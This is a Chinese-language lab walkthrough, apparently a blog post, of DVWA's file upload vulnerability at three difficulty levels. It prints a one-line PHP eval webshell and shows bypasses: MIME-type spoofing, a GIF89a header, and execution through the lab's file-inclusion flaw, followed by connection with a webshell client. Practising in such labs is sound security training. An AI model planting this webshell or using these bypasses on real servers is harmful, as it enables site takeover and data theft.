文件上传漏洞
0x01了解文件上传漏洞的用处是用来干什么的
什么是文件上传漏洞?
文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
文件上传漏洞本身就是一个危害巨大的漏洞,WebShell更是将这种漏洞的利用无限扩大。大多数的上传漏洞被利用后攻击者都会留下WebShell以方便后续进入系统。攻击者在受影响系统放置或者插入WebShell后,可通过该WebShell更轻松,更隐蔽的在服务中为所欲为。
Webshell简介
WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。
WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员不容易发现入侵痕迹。攻击者可以将WebShell隐藏在正常文件中并修改文件时间增强隐蔽性,也可以采用一些函数对WebShell进行编码或者拼接以规避检测。除此之外,通过一句话木马的小马来提交功能更强大的大马可以更容易通过应用本身的检测。<?php eval($_POST[a]); ?>就是一个最常见最原始的小马。
0X02low
这个文件上传的low级别 我们看一下源代码
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } ?>
可以看出 没有 对任何的文件类型进行过滤 那我们岂不是随便上传一句话木马?
来试试 上传一下访问目录 成功
那我们菜刀连接
成功
0X02Medium级别的
老规矩我们先来看一下源码
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
可以看见这里的函数对我们的upload的type进行了过滤 只允许
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) {
这些文件类型才能上传成功
那我们尝试一下继续上传一句话木马 看看能不能成功
![](https://i-blog.csdnimg.cn/blog_migrate/e62034ea3087de6902539b3a1f99145b.png)
好像不得行 那我们尝试一下一张正常的图片上传呐
上传成功 这是为什么呐 代码对我们的文件类型进行了过滤 只有当type=图片的时候才能上传成功 那我们此时怎么进行绕过呐
我们来抓包试试 这里是我上传木马的包
这里是我上传图片的包
看我们的源码可以知道 这里是对我们的type进行了过滤的 那么我们修改一下这个看看是否能上传成功呐 我们把图片上传成功的type粘贴过来
上传成功
0X04high
这里先对一些函数名称做一些介绍
PHP strtolower() 函数 把所有字符转换为小写: <?php echo strtolower("Hello WORLD."); ?>
PHP编程语言中的常见的$_FILES系统函数用法有: $_FILES['myFile']['name'] 显示客户端文件的原名称。 $_FILES['myFile']['type'] 文件的 MIME 类型,例如"image/gif"。 $_FILES['myFile']['size'] 已上传文件的大小,单位为字节。 $_FILES['myFile']['tmp_name'] 储存的临时文件名,一般是系统默认。 $_FILES['myFile']['error'] 该文件上传相关的错误代码。以下为不同代码代表的意思:
HP 获取图像信息 getimagesize 函数 getimagesize() 函数用于获取图像尺寸,类型等信息。 imagesx() 函数用于获取图像的宽度。 imagesy() 函数用于获取图像的高度。 getimagesize() getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。 语法: array getimagesize( string filename ) 例子: <?php $array = getimagesize("images/flower_1.jpg"); print_r($array); ?> 浏览器显示如下: Array ( [0] => 350 [1] => 318 [2] => 2 [3] => width="350" height="318" [bits] => 8 [channels] => 3 [mime] => image/jpeg )
这个级别的我们也来看一下源码 这是个什么东西
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
可以看见 这里我们的源码增加了和改变了这些代码
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) {
那么这些代码是什么意思呐?
在这条语句里,首先利用strrpos() 函数来查找“.”在变量$uploaded_name中出现的位置,然后将得到的数值加1,最后利用substr()函数从变量$uploaded_name的指定位置截取部分字符串。
总之,这条语句的作用就是从我们所上传的文件名中截取出扩展名部分。
清晰明了
接下来就用if语句来判断这个扩展名是否是大写或小写的jpg/jpeg,如果不是的话则不允许上传,因而这里就是定义了一份白名单,这也是安全性比较高的一种防御措施。
这里你以为你直接把马的后缀改成JPG上传会失败
这里因为getimagessize(绕过方法是00截断)函数对文件的开头内容进行了检测 通过二进制识别你是否为图像 这里我们直接加上GIF89a就可以成功绕过
然后上传
这里因为是上传的jpg图像所以菜刀不能直接连接 我们用我们的文件包含漏洞来执行菜刀连接
http://127.0.0.1/dwva/vulnerabilities/fi/?page=file:///C:\phpStudy1\PHPTutorial\WWW\dwva\hackable\uploads\1234.jpg
但是这里我们用文件包含能访问 但是不能执行
那我们尝试一下copy的方法
http://127.0.0.1/dwva/vulnerabilities/fi/?page=file:///C:\phpStudy1\PHPTutorial\WWW\dwva\hackable\uploads\3.jpg
用文件包含漏洞去执行
然后菜刀连接
成功了
这里文件包含的时候一定要注意 反斜杠 \ 和/别打反了 我之前就一直打反了 一下午没连接上